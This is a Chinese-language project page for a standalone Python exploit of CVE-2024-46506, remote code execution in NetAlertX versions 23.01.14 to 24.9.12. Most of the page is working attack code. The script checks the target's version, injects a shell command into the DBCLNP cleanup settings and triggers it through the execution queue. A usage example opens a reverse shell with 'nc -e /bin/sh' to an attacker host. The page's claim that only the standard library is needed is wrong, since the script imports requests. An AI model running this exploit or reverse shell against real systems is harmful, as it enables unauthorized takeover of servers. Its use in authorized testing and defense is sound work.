NetAlertX RCE Exploit - CVE-2024-46506 漏洞利用工具

0 阅读4分钟

NetAlertX RCE Exploit - CVE-2024-46506

项目描述

这是一个针对 CVE-2024-46506 漏洞的独立 Python 利用工具。该漏洞影响 NetAlertX 系统的多个版本(23.01.14 至 24.9.12),允许经过身份验证的攻击者执行远程代码。本项目是一个轻量级、可移植的漏洞利用脚本,无需安装完整的 Metasploit 框架即可完成漏洞检测与利用。

属性说明
漏洞编号CVE-2024-46506
影响版本NetAlertX 23.01.14 - 24.9.12
漏洞类型远程代码执行 (RCE)
开发语言Python 3

功能特性

  • 版本检测:自动检测目标 NetAlertX 系统版本,判断是否处于漏洞影响范围内
  • 远程代码执行:通过利用 DBCLNP 设置和任务队列机制,在目标系统上执行任意系统命令
  • 设置验证:自动验证恶意配置是否成功写入目标系统
  • 自动清理:执行完成后可选恢复原始配置,减少对目标系统的影响
  • 轻量化设计:独立运行,不依赖 Metasploit 框架,仅需 Python 标准库

安装指南

系统要求

  • Python 3.6 或更高版本
  • 目标 NetAlertX 系统可网络访问

依赖项

本项目仅使用 Python 标准库,无需额外安装依赖:

import requests
import json
import uuid
import time
import argparse
import sys
import re

安装步骤

  1. 将脚本保存为 netalertx_exploit.py
# 直接使用,无需安装
python netalertx_exploit.py -u <目标URL> -c <要执行的命令>

使用说明

基础用法

# 基本命令格式
python netalertx_exploit.py -u http://target-ip:port -c "命令"

# 示例:在目标系统上创建文件
python netalertx_exploit.py -u http://192.168.1.100:8080 -c "touch /tmp/test.txt"

# 示例:反弹 Shell
python netalertx_exploit.py -u http://192.168.1.100:8080 -c "nc -e /bin/sh attacker-ip 4444"

参数说明

参数简写必填说明
--url-u目标 NetAlertX 系统的 URL 地址
--command-c要在目标系统上执行的系统命令

典型使用场景

  1. 漏洞验证:检测目标系统是否存在 CVE-2024-46506 漏洞
  2. 授权渗透测试:在获得授权的情况下评估系统安全性
  3. 安全研究:学习漏洞利用原理和技术实现

核心代码

漏洞利用主类 NetAlertXExploit

class NetAlertXExploit:
    """CVE-2024-46506 漏洞利用主类
    
    实现针对 NetAlertX 系统的远程代码执行攻击逻辑。
    漏洞原理:通过修改 DBCLNP(数据库清理)相关的系统设置,
    将恶意命令注入到定时任务中,然后触发执行队列来运行该命令。
    """
    
    def __init__(self, target_url, cmd):
        self.target_url = target_url.rstrip('/')
        self.cmd = f"/bin/sh -c {cmd}"
        self.session = requests.Session()

    def check_version(self):
        """检测目标系统版本是否处于漏洞影响范围
        
        从 /maintenance.php 页面解析版本号,判断是否在 23.01.14 到 24.9.12 之间。
        
        Returns:
            bool: 版本受影响返回 True,否则返回 False
        """
        try:
            res = self.session.get(f"{self.target_url}/maintenance.php", timeout=10)
            if res.status_code != 200:
                return False

            version_match = re.search(r'Installed version.*?v?(\d+\.\d+\.\d+)', res.text, re.S)
            if not version_match:
                return False

            version = version_match.group(1)
            v_parts = [int(p) for p in version.split('.')]
            
            if (v_parts >= [23, 1, 14]) and (v_parts <= [24, 9, 12]):
                print(f"[*] Detected Version: {version} (Vulnerable)")
                return True
            
            print(f"[*] Detected Version: {version} (Not in vulnerable range)")
            return False
        except Exception:
            return False

    def update_settings(self, cmd_val, schedule_val):
        """修改系统设置,注入恶意命令
        
        通过 util.php 的 savesettings 功能修改 DBCLNP 相关配置,
        将清理命令替换为攻击者指定的恶意命令,并设置定时任务。
        
        Args:
            cmd_val: 要执行的命令值
            schedule_val: Cron 调度表达式(如 '*' 表示每分钟执行)
        
        Returns:
            bool: 设置是否成功更新
        """
        url = f"{self.target_url}/php/server/util.php"
        settings_payload = [
            ["DBCLNP", "DBCLNP_RUN", "string", "schedule"],
            ["DBCLNP", "DBCLNP_CMD", "string", cmd_val],
            ["DBCLNP", "DBCLNP_RUN_SCHD", "string", f"{schedule_val} * * * *"]
        ]
        data = {'function': 'savesettings', 'settings': json.dumps(settings_payload)}
        res = self.session.post(url, data=data)
        return res.status_code == 200

    def add_to_queue(self, task_cmd):
        """添加任务到执行队列
        
        通过 util.php 的 addToExecutionQueue 功能触发命令执行。
        
        Args:
            task_cmd: 要添加到队列的任务命令
        
        Returns:
            bool: 是否成功添加
        """
        url = f"{self.target_url}/php/server/util.php"
        data = {'function': 'addToExecutionQueue', 'action': f"{uuid.uuid4()}|{task_cmd}"}
        res = self.session.post(url, data=data)
        return res.status_code == 200

    def run(self, wait_time=75, cleanup=True):
        """执行完整的漏洞利用流程
        
        利用步骤:
        1. 版本检测 - 确认目标存在漏洞
        2. 设置注入 - 修改 DBCLNP_CMD 为恶意命令
        3. 配置验证 - 等待并确认配置生效
        4. 触发执行 - 添加执行队列任务
        5. 清理恢复 - 可选还原原始配置
        
        Args:
            wait_time: 等待配置生效的最长时间(秒)
            cleanup: 是否执行清理,恢复原始配置
        """
        print(f"[*] Testing: {self.target_url}")
        
        if not self.check_version():
            print("[-] Sorry, target not vulnerable. Stopping.")
            sys.exit(0)

        if not self.update_settings(self.cmd, '*'):
            print("[-] Failed to update settings.")
            return

        print(f"[*] Waiting for settings to sync...")
        start_time = time.time()
        applied = False
        while time.time() - start_time < wait_time:
            if self.check_settings_applied():
                applied = True
                print("[+] Settings verified.")
                break
            time.sleep(5)

        if applied:
            print("[*] Triggering execution...")
            self.add_to_queue('run|DBCLNP')
            self.add_to_queue('cron_restart_backend')
            print("[+] Exploit sent.")
            
            if cleanup:
                print("[*] Cleaning up...")
                original_cmd = 'python3 /app/front/plugins/db_cleanup/script.py pluginskeephistory={pluginskeephistory} hourstokeepnewdevice={hourstokeepnewdevice} daystokeepevents={daystokeepevents} pholuskeepdays={pholuskeepdays}'
                self.update_settings(original_cmd, '*/30')
        else:
            print("[-] Failed to verify settings in time.")

程序入口

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("-u", "--url", required=True, help="目标 NetAlertX URL")
    parser.add_argument("-c", "--command", required=True, help="要执行的系统命令")
    args = parser.parse_args()
    
    exploit = NetAlertXExploit(args.url, args.command)
    exploit.run()

技术参考

有关此漏洞的详细技术分析,请参阅:Rhinosecurity Labs 安全研究报告

免责声明

本工具仅限用于教育目的授权的安全测试。未经授权使用此工具攻击系统属于违法行为,使用者需自行承担法律责任。 6HFtX5dABrKlqXeO5PUv/3lyiI1z6ozzFPJUXjnKFdo=